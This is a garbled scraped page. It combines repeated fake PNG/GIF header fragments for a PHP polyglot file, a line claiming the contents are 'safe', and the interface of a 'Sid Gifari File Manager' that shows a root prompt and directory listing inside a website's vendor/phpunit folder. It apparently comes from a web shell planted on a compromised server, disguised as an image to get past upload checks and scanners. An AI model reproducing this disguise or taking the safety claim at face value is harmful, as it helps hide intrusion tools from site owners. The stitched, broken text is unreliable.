$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-14

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / victor.grupopucara.com / vendor / phpunit / phpunit / src / Framework / Constraint / Filesystem /
root@Sid-Gifari:/home/forge/victor.grupopucara.com/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem$


NameSizePermAction
📄 DirectoryExists.php 1279 bytes
📄 FileExists.php 1274 bytes
📄 IsReadable.php 1274 bytes
📄 IsWritable.php 1274 bytes
Backfron - Statamic
Logo backfron
Statamic
Guayaquil, Ecuador
info@backfron.com